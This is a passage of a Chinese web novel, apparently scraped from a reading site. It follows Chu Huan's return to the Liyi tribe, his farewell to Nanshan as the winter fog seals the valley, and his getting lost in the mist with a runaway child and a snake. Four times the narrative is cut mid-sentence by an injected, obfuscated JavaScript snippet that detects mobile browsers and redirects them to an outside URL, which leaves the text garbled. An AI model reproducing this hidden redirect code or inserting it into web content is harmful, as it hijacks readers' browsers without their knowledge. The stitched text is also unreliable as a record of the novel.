可是就这么一问一答两句话的工夫,褚桓神色骤然沉敛下来,转眼间好像又变回了以前那种不见光的样子。 老王顿时一阵后悔,连忙找补:“其实也没事,你放假就放吧,想待多久待多久,不缺这一两年,踏踏实实待着。” 褚桓敷衍地一笑:“没什么,生活总要回归正轨,那什么……小璐儿那个孩子生出来了么?” 老王伸出两根手指头:“俩。” 褚桓一愣:“什么?” 老王低了一下头,好像有点不好意思,他撑着一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088632|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光杆司令似的胳膊,长着一张二五八万的脸,从头到尾无处不硬汉,和这样的一副傻笑仿佛不怎么配套。 老王的大手不自觉地在裤腿上轻轻地蹭了蹭:“嘿嘿,大夫说是俩,我……我一下变成了俩孩子的姥爷。” 褚桓忍不住跟着笑了出来:“那还不抓紧滚回去赚奶粉钱。” 告别了老王,褚桓打了辆出租车,风驰电掣地转了大半个城市。 他先是在书店待了整整一下午,恨不能把每一本书都挑出来翻两页——这本太艰涩了,那本太浅显没意思,这本没有插图太枯燥,那本插图太多,没什么实质内容…… 褚桓觉得自己给褚爱国买骨灰盒的时候都没这么挑三拣四过。 等他从书店出来的时候,夕阳余晖都已经满地红了。 买完书,他拎着两摞半人高的书,直奔隔壁的超市,看见什么都想买一点,想着,南山那个山沟里的土包子,肯定没吃过这个,得拿回去给他尝尝。 一想到南山跟他吃饭时候,那种认真快乐的表情,褚桓就觉得自己能把整个超市的食品区都扛回去。 最后,他又抱着书和吃的,跑了大半个城市,找着了一家乐器行,踩着人家打烊的点,说了好一通好话,逼着店员把锁了一半的门重新给他打开,进去给南山挑了一把口琴。 褚桓揣着崭新的口琴离开乐器行的时候,心情近乎是轻快的。 他不由自主地吹起了那段“惊蛰”,吹了一半,发现自己的调子已经东南西北的跑了一圈,几乎凑成了一副杠子,于是很有自知之明地闭了嘴,不再扰民。 然后他就这样大包小包地站在了夜色中,莫名地扪心自问:“我这是高兴什么呢?” 褚桓猛然间发现,自己就像个半夜三更被女朋友一个电话叫起来买生煎,还美得屁颠屁颠给人家送到楼下的毛头小子,心里揣着一股找不着北的贱。 “我这是干什么呢?” 他这么想着,把东西放下,腾出手来,靠在一边的路灯下,给自己点了根烟。 褚桓沉默地盯着灯光下打着卷飘落的烟蒂,知道自己不会在离衣族久留,不然他不会下意识地“忘了”给自己买点日用品。 离衣族,就像一场浮生中插播的美梦。 老王的到来把他叫醒了。 无论他们族里有什么秘密,都跟他没什么关系,他们会继续过自己桃花源的生活,而他还是得回去。 像他跟老王承诺的那样,回到自己的那条正轨里。 到时候自己最后能为南山做的,估计也就是想办法给他再找一个老师来——真的老师,会教课的那种。 他那一点想法,本来就是“非分之想”,没什么意义,趁早掐断了干净。 况且褚桓总觉得南山干净得像一张白纸,男女的事说出来都怕有污人家视听,何况这些个乌七八糟呢? 好好的一个朋友,哪怕将来江湖不再见了,好歹也是个念想,没必要提的事,自己心里想想就得了,说出来伤感情坏交情,何必呢? 褚桓把烟捻灭了扔了烟头,忽然又想,到时候来了新老师,可不要告诉他们“大王大王”是什么意思啊。 褚桓坐了当天夜里的火车离开,到了县城也没有休息,把皮卡原路开了回去,两夜一天,他没合眼,打了个效率奇高的来回。 这一次回去,在浓雾弥漫的水中央,没有大蛇和水鬼劈水而来阻截他们了,那些雕、那些奇怪的人,仿佛一场幻觉,连影子也不见了,族里又恢复了往日的热闹和活力。 眼前的雾气一消散,褚桓就看见南山赤着脚坐在河边。 南山像是早已经听见了马蹄声,远远的就冲着远行的归人露出了一个清冽的微笑。 褚桓觉得自己的心变成了一把棉花,软成了一团,撑得整个胸口都是绒绒的棉絮。 那一点点不值得一提的旅途疲惫,顷刻就化成了乌有。 20. 现世 可能一个人即使再厌倦某种生活,当知道自己即将离开的时候,也会生出一点受虐狂般的眷恋来——何况褚桓一点也不厌倦离衣族。 从河那边回来以后,褚桓不再每天往树林里一钻、除了南山之外谁也不搭理了,他在族人面前的存在感忽然变得高了起来。 以前,褚桓真心不喜欢小孩和小动物,他看见小崽子就绕道走,听见他们叽叽喳喳闹头就大两圈。 但是有一天,当他站在自己的窗前,抬头看见好几个小东西蝙蝠似的在树梢上挂了一排,伸长了脖子,还自以为是在悄悄偷窥的模样,褚桓居然奇迹般地没觉得烦。 他不由自主地想起了自己小时候猫嫌狗不待见的样子,心说:“这小璐儿将来要是一生生俩,他们家这辈子还有个清净的时候么?” 褚桓抬手冲树上的侦察连招了招手,一帮小崽子伸长的脖子顿时从鹈鹕缩成了乌龟,扭扭捏捏地你打我一下,我踹你一脚,全都互相推诿,不肯先动。 最后,还是小秃头一马当先,仗着一块糖的交情,从树上一跃而下。 侦察连这才跟下饺子一样,扑通扑通地全部跳下树,褚桓回屋抓了一把糖,一人给了一块,就把这群崽子都打发走了。 当然,也有不那么好打发的,比如小秃头。 小秃头贪心不足蛇吞象,吃完了糖,还惦记着人,他在原地十分审慎地思考了片刻,决定脸皮厚才是一个人能成功的第一块基石,于是没羞没臊地腻在了一边,冲褚桓展开了两条胳膊。 褚桓吓得往后退了一步:“干嘛?你不是要抱吧?” 小秃头清晰地验证了他的想法:“抱抱!” 褚桓趟地雷似的,战战兢兢地往前迈了半步,跟小秃头保持着安全距离,压低了声音,用他半生不熟的离衣族话试图跟小秃头讲道理:“一个阴沉凶猛的老男人,到一个热情洋溢的儿童之友,这个距离是很远地,你知道吗?有地面到太阳那么远,我才刚刚起步,你要给我时间。” 也不知道他是发音不准没说清楚还是怎样,反正小秃头听了丝毫不为所动,执着地冲他扎着胳膊。 褚桓见晓之以理不管用,只好动之以情——又递出一块糖:“吃吧,吃完自己玩去,乖。” 堂堂离衣族野猪一般的儿童,哪是那么好收买的?小秃头拿了糖,不但不为所动,还冲褚桓展开大招:一把抱住了他的大腿。 那条神奇的小毒蛇又不知从哪冒了出来,见到此情此景,当机立断决定跟着一起裹乱——它飞快地攀上褚桓的裤腿,缠住了他的另一条腿。 褚桓:“……” 他两条腿上承载着“人与自然”的重量,真是举步维艰。 褚桓只好用怀揣炸药包的动作,小心翼翼地捧着小秃头,将他送回了他父母那里。 对于自家倒霉孩子的所作所为,孩他妈万分羞愧,当着褚桓的面就倒拎起小秃头,将他结结实实地揍了一顿屁股。 褚桓权当没看见,装聋作哑地溜走了,小毒蛇从他的肩上探出头来,向着那哭爹喊娘的方向投去了同情的一瞥。 小秃头就这样,在他生命之初就饱尝了“真爱是人渣”的世态炎凉,嚎了个肝肠寸断。 褚桓经过一片小山坡的时候,正好碰见一群放牧的小伙子凑在一起消遣,他们磕牙打屁的声音远远地被风送到了褚桓的耳朵里。 无论多么淳朴善良的小团体,也总有那么一两个倒霉蛋是平时被大家欺负的,显然,离衣族的汉子圈里,马鞭就是“吃饭睡觉打豆豆”中的那个“豆豆”。 几个人将马鞭围在中间,马鞭正在那脸红脖子粗地辩解:“在河那边的时候,我跟大王大王一起住了好多天,算账的时候还是我帮他算的呢!他还说我是他兄弟。” 其他人起哄:“吹牛吧!” 一个小伙子捶着马鞭的胸口挑衅:“你说你是他兄弟,那你敢不敢把他叫过来喝一杯?” 马鞭:“我……我……” “哎,我看见他了!你去啊——你不是说他是你兄弟吗,那你一招手他就过来了嘛!” “接着吹啊!” “就是,吹好大的牛,不就一起去了趟河那边吗?大山还去了呢。” “我们还天天跟大王大王一起上课呢,你连人家的话也说不好,还兄弟。” 马鞭的脸涨得通红,愤然甩开其他人,憋足了气,大步流星地向褚桓走来。 但他的勇气一路走一路泄,等到达褚桓面前的时候,基本上漏得底都不剩了,他低着头,忏悔罪行似地走到褚桓面前,脏兮兮的两只手紧张地搓揉着裤腿,脸上充满了外语不及格的中学生与外教狭路相逢时的绝望。 褚桓充满恶趣味地从他的反应中找到了一点“为人师表”的乐趣——尽管与其说是任课老师,他觉得自己更像个教导主任。 褚桓:“马鞭,找我有事?” 马鞭结结巴巴,脸红得能在路口停车了:“我……我……喝……喝……喝喝酒。” ……总觉得他快哭了。 褚桓本想为难马鞭一下,看着这小伙子窘迫成这样,也就不大好意思了,于是伸手一搭他的肩膀,痛快地答应说,“行,走吧。” 马鞭没料到这么容易,震惊地在原地僵立成了一块棺材板——不单是他,那边所有大龄熊孩子全都跟着一起傻眼了,活像集体中了定身法。 褚桓摸摸鼻子,不知道自己平时是有多高贵冷艳。 一群小伙子谁也不好意思和褚桓搭话,最后他们推推搡搡,一致决定把马鞭扔了出来,马鞭踉跄两步没站稳,来了个单膝下跪。 褚桓在小土坡上坐下,自然而然地翘起了二郎腿,悠悠地说:“孩子啊,没过年,跪也不给压岁钱。” 马鞭紧张之下,根本没听懂,他感觉自己是被同伴推出来,大庭广众之下给架在了火上烤,脑子里糊得一塌糊涂。 抓耳挠腮良久,马鞭才搜肠刮肚地憋出了一句话:“大……大王大王,你……你原来在你们家,也放马吗?” 褚桓面不改色地说:“我不放马,我打猎。” 众人有没听懂的,连忙小声向周围的人打听他刚才说了些什么,议论了一会,弄清他说了什么,都露出不相信的表情。 有一个小伙大声说:“打猎兔子吗?” 说话的小伙子娃娃脸,看起来也就十六七岁,名字叫“惊天动地的雷声”,褚桓简化了一下,管他叫“二踢脚”。 “那叫‘打兔子’,不是‘打猎兔子’,汉语里该省的字要省。”褚桓扶了扶眼镜,自觉还挺有点人民教师的意思,他说,“我主要打野狗,以防他们咬人,可以说是个专门打狗的。” 方才那个二踢脚扒拉了马鞭一下,小声用离衣族语问:“不相信怎么说?” 马鞭就指导:“不相亲。” 二踢脚低声念了两遍,感觉自己已经掌握了这个词,于是胸有成竹地大声说:“不相亲!” 褚桓不怀好意地瞥了他一眼,促狭地一笑:“相亲?这就开始惦记姑娘了,你成年了吗?” 放牧的小伙子们连忙组成临时语言学习小组,又是一阵大议论,足足五分钟,他们才众人拾柴火焰高地讨论出了褚桓那句话的意思。 只见二踢脚的脸色由迷茫转成了窘迫,最后气急败坏地跳起来,把马鞭揪去单挑了。 南山跟长者从远处走来的时候,就看见族人们个个东施效颦地学着褚桓跷二郎腿,翘得千奇百怪、姹紫嫣红——坐着的跟着学就算了,还有个别奇葩站在一边,一条腿触地,另一条腿艰难地抬上膝盖,猎奇地金鸡独立着。 离衣族的男人们都仿佛是精神过头,无论是站是坐,都要笔杆条直地如松似钟。 像褚桓这样松松垮垮地往那一坐,随便靠着什么翘起二郎腿这种动作,本族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088633|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是没有的。 他们永远也学不会褚桓那种“人在这,神在那”的懒散和心不在焉。 长者看了一眼,对南山说:“他以前不是不大和族人们混在一起吗?” 长者是个老头子,穿着一身肚兜一样的奇装异服,胸前一个大口袋,里面塞满了各种水果,活生生地塞出了一个G号大胸。 此人平时比褚桓还要神出鬼没深居简出,大部分时间是不见人的,就是守山人来了,他也没有亲自露面,最后还是临走的时候鲁格去拜会了他。 褚桓来到离衣族的几个月光景,只见过那老头一面。 南山对长者的态度一直是恭敬中夹着亲近,他顺着长者的目光望去,嘴角不由自主地显露出一点笑意:“可能是闷了吧。” 长者从胸前的兜里摸出了一个果子,枯瘦的手一掰,就把那东西掰了两半,看了看已经烂了的心,他的嘴角往下撇成了拱桥:“虫咬了。” 南山从褚桓身上收回目光:“嗯?” 长者指桑骂槐的说:“有些东西就像这颗果,看着漂亮,掰开一看,里面不是根本没长开,就是被虫子咬了。” 南山一皱眉:“你说褚桓?他不是。” 长者把烂果子扔在一边,又从肚兜里挖出了两串带秧的野草莓,扔给南山一串,随手擦了擦,就往嘴里塞去。 长者意有所指地看了一眼南山腰间的口琴,含糊地说:“你凭什么知道?因为他给了你几个小玩意,送了你几本书?” 南山没吭声。 “你和几个外面的人打过交道?你连你爸都不记得了,他当年啊,也是……” “我就是知道。”南山骤然出口打断了长者。 他忽然发现自己不喜欢别人质疑褚桓,无论是鲁格还是长者,南山决定简单粗暴地终结话题,于是他说:“我生气了。” 说完,他就这么走到水边,把草莓洗了洗,径自把长者丢在了一边,向褚桓走了过去,毫不避讳地当着长者的面借花献佛。 放牧的小伙子们眼见族长来了,立刻一哄而散,南山把鲜嫩欲滴的野草莓递给褚桓:“请你吃。” “还有这个?”褚桓眼睛一亮——他倒不是爱吃水果,他就是喜欢这种红得透亮绿得水灵的植物,“你们这是个风水宝地,冬天不冷,夏天也不热吧?” “那是因为还没到冬天。”南山说,“你喜欢我们这吗?” 褚桓毫不犹豫地点头。 南山接着问:“喜欢我吗?” 褚桓:“……” 他虽然明知道南山只是由于语言文化差异,有些词不达意的口无遮拦,但是由于心怀鬼胎,他还是不可避免地心虚了起来,险些把自己噎住。 南山见他不回答,蓦地有点紧张,本来就直得板军姿一样的腰挺得更直了。 褚桓顿了顿,说出来的话又不由自主地规避主要矛盾,转了个弯:“你那么招人喜欢,谁不喜欢?” 南山听出他话里的勉强,心里一瞬间失落了起来。 沉默许久,他闷闷地问:“既然喜欢,为什么不留下?” 褚桓偏头看向他:“如果我要走,你想跟我一起去外面吗?” “想,”南山坦然地回答,“但是我不能离开。” 褚桓捏起他的一缕头发,把发尖夹在手指尖把玩:“那我和你差不多吧——尽管在我们那,我不像你那样举足轻重,只是个小人物,但如果有什么事需要我去做,我还是必须马上就走,你明白吗?” 南山深深地看了他一眼。 褚桓拍了拍他的肩,站了起来,指着他腰间的口琴说:“别把那玩意挂在腰带上,傻不傻?裤子都快给坠掉了。” 南山一把按住褚桓搭在他肩上的手。 “你……你如果要走……”南山的声音有一点沙哑,“一定要在冬天之前,冬天我们这里封山,你就出不去了。” 21. 现世 如果是在四季分明的中国北方,一般在十一月中下旬,基本上就已经进入冬天了,褚桓在离衣族过得有点记不清日子,只是大概算算,他依稀觉得是快到阳历年了。也不知道离衣族用得是哪一套历法,反正就以气温来说,这里还只是初秋的水平,和褚桓刚来的时候几乎没什么变化——怕冷的加一件薄风衣外套,个别傻小子皮厚火力壮的,什么都不穿,也不至于怎样。 林子里的树叶还都是绿的,草也郁郁葱葱,连蛇都还没有要冬眠,只是早晚露重的时候显得微微有些怕冷。 当时南山提到了“冬天”,褚桓还觉得有点不可思议:“封山?你们这里这么靠南,冬天有那么冷吗?” 南山回答说:“等冬天到了你就知道了。” 可是冬天什么时候到呢? 如果有可能,他希望冬天永远也不到,不过他克制自己很少这么想,妄想是加重痛苦的毒品。 就在那天之后的第十四个清晨,褚桓像往常一样,天不亮就起床例行锻炼,可是才一推开门,他就愣住了。 原本飘在河上的雾气一夜间发生了乾坤大挪移,笼罩了整个陆地,放眼一看,只见那远近苍茫,是一片云山雾绕的奇景,族人的房子那高高的吊顶在满地的白雾中露出了一点尖来,腾云驾雾似的。 整个山谷与平原都变得仙气飘渺,人站在其中,一只脚好像已经踏进了南天门。 ……这挺好,他还没来得及死,居然就已经提前升了天。 褚桓摘下结霜的眼镜,用袖口擦了擦,然后走进了大雾里,气温其实并没有降低,但是林子里的树却显露出冬天的踪迹来。它们也许是集体发了天大的一个愁,齐刷刷地一夜秃了头。地面上堆了厚厚一层凝着碎霜的叶子,而空中却只剩下被屠戮一空的枯枝,横七竖八地支在那里,撑起了一片沉甸甸的死气。 褚桓在熟悉的林子前徘徊了片刻,心里不告而知地明白过来——原来这就是离衣族的冬天。 他没有继续走下去,转了一圈,径直回到了住处。 不知道是不是他的错觉,褚桓感觉雾气似乎比他才出门的时候还要浓重一些,于是又触景而悟地想通了“封山”的意思。 褚桓回到屋里,麻利地收拾了自己的行李——其实他也没什么行李,除了那把尖刺和南山送他的刀,其他的东西基本都可以扔在这。 他坐在已经冰冷的床沿上发了一会呆,静静地与破晓前的寂寞为伍,待了一会,从外套兜里寻摸出半包烟来,拿在手里翻来覆去地看了看,最后又给塞了回去。 一来,褚桓的烟瘾不怎么太重,二来是他不想用尼古丁和一氧化碳污染离衣族的青山绿水。 ……而且在县城的时候,南山好像明确表示过不喜欢他抽烟。 这时,一阵窸窸窣窣的声音响起,褚桓抬起头,只见小毒蛇顺着他的床爬了过来。 它似乎是怕冷,飞快地在褚桓的胳膊和肩膀上爬过,径直往他怀里钻去,钻到一半,碰到了褚桓折叠起来挂在风衣内的三棱刺。它的动作就忽然一迟疑,小蛇吐着信子,在三棱刺的外壳上试探了一下,然后飞快地躲开,绕了一大圈,绕过了军刺,钻进了褚桓的袖子里,从里面冒出一颗三角形的小脑袋,探头探脑地看着他。 褚桓:“我马上就走了。” 蛇头探出来的尺寸大了些,它好像有点吃惊。 不过……蛇怎么会吃惊? 褚桓:“出来吧,不然一会我就把你一起带走了。” 小毒蛇犹犹豫豫地探出半个身体,冰冷的鳞片蹭着褚桓的手背,身体却把他的胳膊缠得很紧。 褚桓:“干什么?你要跟我一起走?” 小毒蛇嘶嘶地吐信。 “不行,”褚桓伸手去捉它,“我还得给你买小白鼠,麻烦死了——” 这一次,狡猾的蛇一口叼住了他的袖子,把蛇身掰成了一个回形针,尾巴依然留在褚桓的袖子里,怎么也不肯出来。 褚桓跟它做了一会斗争,手上的青筋都快被这小孽畜勒出来了,他发现这是一块蛇牌的狗皮膏药,贴上就撕不下来,最后心一软,想着:“由他去吧,反正养这么个小东西也不费钱,看劳了别让它乱跑就行了。” 于是他就这样,带着这条别致的手链,背着简单的行囊出门了。 门一开,褚桓先是一怔——南山已经在那里不知等他多久了。 南山手里牵着一匹通体雪白的马,马脖子上还挂着两个竹筒,隔着老远都能闻到酒香。 两个人一个站在门外,一个站在门里,一开始谁都没吭声,这种时候,真是说什么都多余。 “你……”南山的目光落在他身后的行囊上,下巴绷得死紧,好一会,他喉咙微动,才低低地说,“走吧,我送你。” 他的长发利落地扎了起来,显得更年轻了些,身上又穿上了那件搞笑的马甲,口琴也依然傻乎乎地挂在腰间——只是多扎了一条腰带。 一见南山,原本缠在褚桓手腕上耍赖不肯走的小毒蛇立刻软了,说什么也不敢继续当钉子户,老老实实地溜出来爬走了。 褚桓不自在地缩了一下手,感觉袖管一下子空荡荡的,风都灌进去了。 他没有多废话,翻身上马,白马好像识途,南山也不用牵着,它就会自动跟着他走。 走着走着,南山就把口琴解了下来,凑在嘴边吹着。 褚桓小时候其实也有一个口琴,是褚爱国给他玩的,可惜那东西在他的抽屉里躺了这么多年,他也没弄清哪个窟窿出来的是什么音,南山却已经能像吹叶笛一样熟练地吹出各种曲子了。 可能音乐这种东西,的确是要看天赋的。 褚桓总是漫不经心,唯独听南山吹曲子的时候,他是全神贯注的。 南山的乐声里自有一番丰沛的喜怒哀乐,从来不屑有一零半星的遮掩,浓烈得好像一口烈酒,一口下去,五脏六腑都是激荡,让人无比真实地感觉到,无论痛苦还是喜悦,自己都确实是活着的。 不是行尸走肉,也没有浑浑度日。 两人一路无话,很快走过了民居、果树,然后南山牵马,带他穿越了那条与世隔绝般神秘的河。 褚桓不禁顺着来路回望了一眼,触目皆白,茫茫无所见。 记忆里那些小崽子们吵吵闹闹的声音成了一页幻听,从他耳边一闪而过,褚桓低下头,看见了南山深色的目光。 他那么俊秀,是褚桓生平仅见的、再漫不经心的人扫上一眼,也会印在心里的俊秀。 褚桓的目光从他的嘴唇上掠过,不由自主地逗留了一下,片刻后被自己发觉,褚桓就有点不大自在地转开了视线,觉得自己再这么胡思乱想下去,好像容易犯错误。 他只好生硬地转移自己的注意力,死乞白赖地把眷恋幻化成一句没什么意义的感慨:一转眼,自己在这里居然已经待了三四个月了,真是时光如水。 “哎,”褚桓伸手敲敲南山的肩膀,“马脖子上挂着的那个,是酒吗?” 南山把其中一个竹筒摘了下来,拧开盖子,自己先喝了一口,然后回身递给了褚桓。 两个人站在河边,你一口我一口地把一个竹筒里的酒喝得一滴不剩,褚桓就摸了摸白马柔软的鬓毛,笑起来:“你说我这是不是也算酒驾?酒驾在我们那被逮着一次,可得塞进小黑屋关半年。” 南山听着他顺口开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088634|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩笑,一点面子也不给,他既不笑,也不接话,而是直言说:“你一走,我很难过。” 褚桓:“……” 他笑容渐淡,最后叹了口气,伸出一条胳膊,搂住南山的脖子,把他往自己怀里一带。 桂花味从他鼻尖错觉似的一晃而过,褚桓忽然暗搓搓地君子起来——他觉得自己既然心有杂念,就不该无所禁忌,于是克制地在南山肩上拍了拍,随即放开了他,翻身上马。 “回头我把它撒在上次那个车站附近,它会自己认路回来是吧?”白马碎碎地踱着步,褚桓随意地拨动着马头,让它围着南山转了几圈,然后取下了它脖子上挂着的另一桶酒,“这个就送我了,再见。” 说完,他轻轻一夹马腹,驱马直行。 他走得从容不迫、气定神闲,却始终没有回一次头。 南山忍不住叫了一声:“褚桓……” 褚桓背对着他,远远地挥了挥手。 天下无不散的宴席。 南山始终立在原地,目送着白马终于绝尘而去,看着褚桓像来的时候一样,干干净净、毫不拖泥带水地离开。 “先人的话,不一定就是真的。” 南山听见身后一个熟悉的声音说,他没有回头,只是收回目光,低头看着自己的脚面:“长者。” 长者从浓雾里走出来,瘦骨嶙峋的脸上面无表情,就像个粉墨登场的老妖怪。 “圣书上说,‘河那边有一个人能沟通过去与未来,连接现世和末世’,也许真的有,但是你找的那个老师不是说过吗?他们那边有六十万万个人啊。” 离衣族中,“亿”这个计数单位已经超过了他们的认知水平,长老说起来的时候都不由自主地停顿了一下,仿佛在回味着难以想象的数字带给他的震撼:“他们男女老少,长成什么模样的都有,你走到‘边界’,才那么一点距离,刚好遇上一个人,刚好带回来,怎么会就是他呢?” 南山低头不语。 “我知道你的意思。”长者说,“你想给孩子们寻觅个出路,所以我不拦你,可是靠一个外人,就可以把大家领过去吗?这个出路是多么的小啊,就像黑夜里着了火地一根头发,你抓不住的。” 南山没吭声,也没解释,他的眼神并没有多少年轻人的锋利,那里有大山一样的坚不可摧与无从撼动。 他只是转身迈回河里,蹚水走了回去。 褚桓离开南山的视线后,其实并没有急着赶路。 越过一座山岭后,他就感觉到那半桶酒让他有一点上头,褚桓勒住马,找了一棵大树,坐下休息了。 后来他干脆决定靠在树底下睡一觉。 这一觉没睡踏实,褚桓是被爬行动物爬过的“沙沙声”弄醒的,这边冬天不像北方那么冷,有时候甚至能达到二十多度,荒郊野外免不了有爬虫,褚桓随身没有什么驱虫驱蛇的东西,只好自己警醒点。 结果他一睁眼,就看见了一只眼熟的小毒蛇,正左摇右晃地在他面前吐信子。 褚桓:“……” 认识人,听得懂人话,还会千里迢迢地穿过满是迷雾的河追踪到这…… 褚桓迟疑地抓起小毒蛇,把它举到自己面前晃了晃:“我说,你其实真是条蛇精吧?” 紧接着,褚桓就听见了另一阵急促的脚步声,他诧异地转头一看,只见一头大猪向他奔跑了过来。 那个……猪? 猪跑到他近前,猛地一刹车,以一种千里送火腿的大无畏精神挺胸抬头地站定。 然后一颗光溜溜的小脑袋从猪背后抬起来,呲着一排小乳牙,冲褚桓露出了一个灿烂的笑容。 褚桓:“……” 22. 现世 拐走一条蛇,这没什么,即便这条蛇看起来像南山的宠物,想必那个给腊肉定价两块钱一斤的穷大方也不怎么会介意…… 可这不代表他能安安心心地拐走一只娃。 褚桓看着面前和猪一起撒欢玩耍的小秃头,愁得快要七窍生烟了。 “过来。”褚桓板起脸,用半生不熟的离衣族语说,同时,他用力地憋出一脸威严,“你怎么追来的?找打是不是?” 小秃头听了,非但没有表现出一丁点的害怕,还欢脱地抱着猪脖子笑开了。 褚桓:“……” 这就是哑巴式语言学习的弊端,会听不会说,别人笑得肠子都断了,自己还不知道说错了什么。 褚桓艰难地纠正了一下自己的发音,类似于:“找……招、赵……打。” 小秃头乐得满地打滚。 “算了。”褚桓泄气,他发现自己硬不起来,只好好言相劝,先是无可奈何地摸了摸兜,发现糖都留在他住的小屋里了,一块也没带出来。 “我真没糖了,”褚桓尽可能地把字吐得清楚了些,把外衣口袋翻出来给小秃头看,“真的,不骗你,回家吧,乖,我送你。” 小秃头根本不吃他那套,纵身一跃,准确地抱住了褚桓的腿。 他俨然已经成了个专业抱腿的熟练工。 大猪见状,好像也企图效仿,被褚桓一个充满了杀气的眼神定在了原地,只好去一边气哼哼地拱地了。小毒蛇却以一种有功之臣的架势,趾高气扬地爬上了褚桓的肩膀,一览众山小地俯视着其他物种——当然,他很快被褚桓捏着七寸拽下来扔在了一边。 褚桓:“都是你招来的,裹什么乱?” 一条蛇该如何去伸冤呢?这个残忍的问题注定是无解的,所以它受气兮兮地爬到了小秃头的胳膊上,盘起来的样子有点窝囊。 褚桓跟小秃头沟通了一溜够,感觉自己已经快把口语都练出来了,那位神猪骑士依然油盐不进,他的耐心终于告罄了。 于是褚桓二话不说,直接拎书包一样把小秃头拎了起来,往马背上一扔,火速原路返了回去。 大猪哼哼两声,连忙撒丫子跟上。 小秃头先开始还很高兴,走着走着,他发现路径好像不太对,咬着手指有些疑惑地四下打量。 等回到了充满雾气的河边,他终于后知后觉地发现了自己竟然被遣送了——小秃头自觉抛家舍业,牺牲良多,付出了无数的聪明才智,一路追寻着蛇的踪迹,才总算摸到褚桓的影子。 可他这么满心欢喜地跑来私奔,居然毫无来由的就被遣送了,世界上还有比这再冷酷无情没道理的事吗? 小秃头心里悲恨相续,于是剧烈地挣扎了起来。 可惜他的挣扎在褚桓看来,和一只小猫乱抓挠也没什么区别,轻易就给镇压了,他只好使出杀手锏,亮出嗓门放声大哭了起来。 褚桓粗声粗气地说:“哭什么哭,是不是男人了?闭嘴!” 小秃头深吸一口气,为了体现自己的纯爷们儿气质,哭出了一串嘹亮的起床号。 “……”褚桓默然许久,终于承认自己被治服了,他拍了拍小秃头的后背,放软了声音说,“好了好了,宝贝,咱不委屈了好吧,好了啊……” 其实大人的态度越是这样软软硬硬反复无常,小崽子就越是明白他对自己毫无办法,小秃头有恃无恐,越发来劲,在马背上打着滚地撒泼耍赖。 褚桓心力交瘁地站在满是白雾的河边,一筹莫展。 经此一役,他再也不想当任何人的“舅舅”了——不管青梅竹马生出个什么。 褚桓:“别哭了,带我过河好不好?我带你找你妈去。” 没人理他。 褚桓:“再哭我可就把你扔这了啊。” 仍然没人理他。 褚桓深深地望天叹了口气:“祖宗,我求求你了……” 他束手无策了片刻,眼见小秃头这是要没完没了的趋势,只好病急乱投医地转向了小毒蛇:“你认识路吗?” 说完,褚桓自嘲一笑,感觉自己有点不正常。 谁知小毒蛇磨磨蹭蹭地爬到了地上,缓缓地钻进了水里,一串几乎看不出痕迹的水波荡漾开来,它在水面上露出一个碧绿的头,冲褚桓吐着信子。 居然真的认识! 褚桓立刻拍拍马:“跟着它。” 他一个人带着一个动物园,这一天第二次走进浓雾深沉的河水中央。 褚桓从没想到,自己有一天会领着一头猪一匹马和一个熊孩子,由一条毒蛇当向导,走那一条连信号都透不出来的迷雾之路。 ……当然,他也没想到,这条看起来信心十足的蛇走着走着就迷了路。 当手表的时针已经歪歪扭扭地走过了两格多的时候,园长意识到了自己的脑残——他竟肯相信一条蛇的智商。 他们就这样陷在了浓雾深处,小毒蛇不安地在水里转了几圈,最后怯怯地顺着马的身体爬上了褚桓的裤腿。 连马也焦躁了起来。 褚桓跟南山确认过,他走的时候只要把马撒开,它自己就能找回族里,那么理论上,白马应该是能过河的,可是这条蠢蛇到底带了条什么路,把识途的老马都转晕了? 小秃头早就哭累了,趴在马背上,双手攥着褚桓的衣襟,哼哼唧唧地打哭嗝,大眼睛乱转,眼神十分茫然。 褚桓:“认识吗?” 小秃头老老实实地摇摇头。 褚桓叹了口气,此时,他手表上的指南针功能已经完全没了作用,仿佛碰到了紊乱的磁场,转圈都转成了华尔兹,而白雾茫茫中,他完全无法判断太阳光的方向,触目所及只有冰冷的河水和无边无际的雾气。 他甚至无法分辨出雾气中哪里薄一些。 忽然,褚身上一凉,他低头一看,小毒蛇钻进了他的衣服里——这蛇只有在觉得冷,无法抵挡冷血动物的生物本能的时候,才会往人的皮肤上贴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 